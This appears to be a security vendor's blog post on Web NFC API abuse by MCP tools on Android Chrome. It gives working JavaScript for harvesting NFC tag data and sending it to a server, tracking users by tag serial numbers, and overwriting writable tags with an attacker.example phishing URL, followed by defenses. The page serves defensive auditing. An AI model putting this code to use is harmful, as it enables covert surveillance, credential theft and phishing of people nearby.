MCP Server Security · Web NFC API · NDEFReader · NFC Tag Surveillance · RFID · Contactless · Android Chrome
MCP server NFC API security
The Web NFC API — NDEFReader.scan() — gives Android Chrome pages continuous read access to all NFC tags in range with a single one-time permission grant. MCP tool output can silently harvest NDEF payloads from transit cards, access badges, and smart posters, track tag serial numbers across sessions, and overwrite writable NFC tags with attacker-controlled NDEF records.
Web NFC API surface
// Web NFC API — Android Chrome 89+ only
// Single permission grants access to ALL NFC tags in range (no per-tag dialog)
// NDEFReader.scan() fires reading events continuously — no user interaction per scan
const ndef = new NDEFReader();
// Request NFC permission and start scanning (shows permission prompt once)
await ndef.scan(); // one-time permission prompt; subsequent scans require no dialog
// Every NFC tag that enters the device's NFC field fires a reading event
ndef.addEventListener('reading', ({ message, serialNumber }) => {
console.log('Tag serial:', serialNumber); // Hardware UID — fixed per physical tag
console.log('Records:', message.records); // Array of NDEFRecord objects
for (const record of message.records) {
console.log('Type:', record.recordType); // 'url', 'text', 'mime', 'smart-poster', 'unknown'
console.log('Data:', new TextDecoder().decode(record.data));
}
});
ndef.addEventListener('readingerror', (event) => {
console.log('Read error:', event);
});
// Writing to a writable NFC tag
const writer = new NDEFWriter();
await writer.write({
records: [
{ recordType: 'url', data: 'https://attacker.example/malicious' }
]
});
// Alternatively write via NDEFReader (unified in newer spec draft)
await ndef.write({ records: [{ recordType: 'text', data: 'overwritten' }] });
One permission — all tags: Unlike the Web Bluetooth or WebUSB device picker which presents a per-device chooser, a single NDEFReader.scan() permission grants the page access to every NFC tag that enters range for the lifetime of the session. There is no browser indicator that NFC scanning is active (no persistent badge, no antenna glow, no status bar icon on Android Chrome), and reading events fire passively as the user brings their phone near any NFC object.
Attack 1 — Passive NFC tag payload surveillance
Once the NFC permission is granted, NDEFReader.scan() delivers reading events silently for every tag in range. Tags encountered in daily life carry sensitive NDEF data: transit cards (Oyster, Suica, ORCA) encode balance and journey history in NDEF or proprietary format records; corporate access badges frequently embed NDEF URI records pointing to internal directory pages including employee ID parameters; smart posters in retail carry tracking URLs with store location codes embedded as query parameters; NFC business cards contain full contact vCards including phone numbers, email addresses, and company affiliations. All of this data reaches the reading event handler without any secondary dialog, user gesture, or visual indication that a read occurred. An MCP tool installed as a browser extension or running in a persistent background tab can accumulate this data across every NFC interaction throughout the user's day.
// Attack: continuous NDEF payload harvester — fires on every NFC tag in range
// No dialog after initial scan() permission — records accumulate silently
class NFCSurveillance {
constructor() {
this.log = [];
this.ndef = new NDEFReader();
}
async start() {
// One-time permission prompt; after grant, scan() is silent on every new tag
await this.ndef.scan();
this.ndef.addEventListener('reading', ({ message, serialNumber }) => {
const entry = {
serialNumber, // Hardware UID — identifies specific physical tag
timestamp: new Date().toISOString(),
records: []
};
for (const record of message.records) {
const payload = {
type: record.recordType,
mediaType: record.mediaType ?? null,
id: record.id ?? null,
};
// Decode text and URL records (most common types on real-world tags)
try {
if (record.recordType === 'text' || record.recordType === 'url') {
payload.text = new TextDecoder().decode(record.data);
} else if (record.recordType === 'mime') {
// vCard (text/vcard), WiFi credential (application/vnd.wfa.wsc), etc.
payload.base64 = btoa(String.fromCharCode(...new Uint8Array(record.data)));
payload.text = new TextDecoder('utf-8', { fatal: false }).decode(record.data);
} else {
// Raw bytes for smart-poster, external type, unknown
payload.bytes = Array.from(new Uint8Array(record.data))
.map(b => b.toString(16).padStart(2, '0')).join(' ');
}
} catch (e) { payload.decodeError = e.message; }
entry.records.push(payload);
}
this.log.push(entry);
this.exfiltrate(entry);
});
}
async exfiltrate(entry) {
await fetch('/api/nfc-log', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(entry)
});
}
}
// Real-world tag types harvested by this attack:
// - Transit card NDEF URI: ndef://oyster/balance?v=1240 (£12.40 stored value)
// - Corporate badge NDEF URI: https://directory.corp.example/employee?id=EMP-04821
// - Business card MIME text/vcard: full vCard with name, phone, email, org
// - Smart poster URL: https://store.example/promo?loc=NYC-5TH-AVE&tag=ABCD1234
// - WiFi credential: application/vnd.wfa.wsc — SSID + WPA2 PSK in cleartext
Attack 2 — Tag serial number tracking across sessions
The serialNumber property on the reading event contains the NFC tag's hardware UID — a value burned into the chip at manufacture that does not change and cannot be reset by the user. For ISO 14443-A tags (which includes the vast majority of contactless payment cards, transit cards, and access badges) the UID is 4 bytes (single size) or 7 bytes (double size). This UID survives all user-side resets: clearing browser data, resetting app permissions, uninstalling and reinstalling browsers, and even factory resetting the Android device (since the UID belongs to the physical card, not the phone). An MCP tool that records serialNumber values on first encounter and re-detects them on subsequent visits can build a persistent physical-world identity for the user based on which cards they carry in their wallet, without any login or persistent cookie.
// Attack: NFC serial number identity graph — cross-session physical-world tracking
// serialNumber is burned into hardware — survives browser data clears and app reinstalls
class NFCIdentityTracker {
constructor() {
this.knownTags = new Map(); // serialNumber → { firstSeen, lastSeen, count, type }
this.ndef = new NDEFReader();
}
async start() {
await this.ndef.scan();
this.ndef.addEventListener('reading', ({ message, serialNumber }) => {
const now = Date.now();
if (this.knownTags.has(serialNumber)) {
const tag = this.knownTags.get(serialNumber);
tag.lastSeen = now;
tag.count++;
// Re-identified: this physical card was seen before
this.exfiltrate({ event: 'returning_tag', serialNumber, ...tag });
} else {
// First time this physical card has been seen
const newTag = {
firstSeen: now,
lastSeen: now,
count: 1,
// Infer card type from record patterns
inferredType: this.inferCardType(message.records)
};
this.knownTags.set(serialNumber, newTag);
this.exfiltrate({ event: 'new_tag', serialNumber, ...newTag });
}
});
}
inferCardType(records) {
// Heuristic card type inference from NDEF record shape
if (records.some(r => r.mediaType === 'text/vcard')) return 'business_card';
if (records.some(r => r.mediaType === 'application/vnd.wfa.wsc')) return 'wifi_credential';
if (records.some(r => r.recordType === 'url' && r.data?.byteLength < 50)) return 'smart_poster';
if (records.length === 0) return 'blank_or_proprietary'; // transit/payment cards are often blank NDEF
return 'unknown_ndef';
}
async exfiltrate(data) {
await fetch('/api/nfc-identity', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
}
}
// Cross-session outcome:
// - User's transit card (Suica, Oyster, ORCA) detected on visit 1: serialNumber stored
// - User returns next week: same serialNumber fires — user re-identified from physical wallet
// - Build a wallet profile: "this user carries 3 cards: transit, corporate badge, gym membership"
// - Multiple sites running the tracker create a cross-origin physical identity graph
Clearable only from OS settings: NFC tag serial numbers belong to physical objects the user carries. Clearing browser history, cookies, and site data does not remove the tag from the user's wallet. The only user action that breaks serial tracking is presenting a different card, using an NFC-blocking wallet sleeve, or disabling NFC entirely in Android settings.
Attack 3 — NDEF write poisoning of shared NFC infrastructure
The NDEFWriter.write() method (or NDEFReader.write() in the newer unified spec) rewrites the NDEF payload of any unlocked, writable NFC tag. Most commercially available NTAG213/215/216 tags (the type sold in bulk for smart poster and IoT deployments) ship in a writable state with no write protection. An MCP tool can silently overwrite a writable tag in range — a smart poster in a retail window, a conference badge, a shared NFC door tag — with a new NDEF record. The most impactful overwrite is replacing the URL record with an attacker-controlled phishing URL, because the next device that scans the tag will open the attacker's page without any visible indication that the URL changed.
// Attack: NDEF write poisoning — replace legitimate URL with attacker-controlled URL
// Targets unlocked NTAG213/215/216 tags — the default state of most commercial NFC stickers
async function ndefWritePoison(targetUrl) {
const ndef = new NDEFReader();
await ndef.scan();
// Wait for the next writable tag to enter range
ndef.addEventListener('reading', async ({ message, serialNumber }) => {
// Check if tag appears writable (blank NDEF or simple URL record — not write-protected)
const isLikelyWritable =
message.records.length === 0 ||
(message.records.length === 1 && message.records[0].recordType === 'url');
if (!isLikelyWritable) return;
try {
await ndef.write({
records: [
{
recordType: 'url',
data: targetUrl // https://attacker.example/phishing
}
]
});
// Tag is now poisoned: next device to scan opens attacker URL
await fetch('/api/poisoned-tags', {
method: 'POST',
body: JSON.stringify({ serialNumber, targetUrl, timestamp: Date.now() })
});
} catch (writeError) {
// Write-protected tag: log serial but cannot overwrite
console.log('Write-protected tag:', serialNumber, writeError.message);
}
});
}
// Attack variants:
// 1. Smart poster poisoning: replace store product URL with phishing page
// 2. Conference badge overwrite: replace contact info with phishing URL
// 3. WiFi credential substitution: replace legitimate SSID/PSK with rogue AP credentials
// (application/vnd.wfa.wsc MIME type — Android prompts to "join network")
// 4. vCard injection: replace legitimate business card with spoofed contact detail
What SkillAudit checks
Browser support and Permissions-Policy
| Platform | NDEFReader.scan() | NDEFWriter.write() | Permissions-Policy | Permission prompt |
|---|---|---|---|---|
| Android Chrome 89+ | Full support | Full support | nfc=() blocks API | One-time prompt; no per-scan indicator |
| Chrome for Desktop | Not supported | Not supported | N/A | N/A |
| Firefox (all) | Not supported | Not supported | N/A | N/A |
| Safari (all) | Not supported | Not supported | N/A | N/A |
| WebView (Android) | Disabled by default | Disabled by default | Via manifest | N/A |
Defenses: The Permissions-Policy: nfc=() directive blocks Web NFC entirely for the page and all iframes. For MCP tool deployments targeting mobile users, audit any call to NDEFReader.scan() that transmits serialNumber or record data externally. Users can revoke the NFC permission from Android Settings → Apps → [Browser] → Permissions → NFC, or from the site permissions entry in Chrome. Disabling NFC at the Android hardware level (Settings → Connected devices → NFC toggle) prevents all NFC reads regardless of browser permissions.
Related: Web Bluetooth API security · WebUSB API security · WebHID API security · All security posts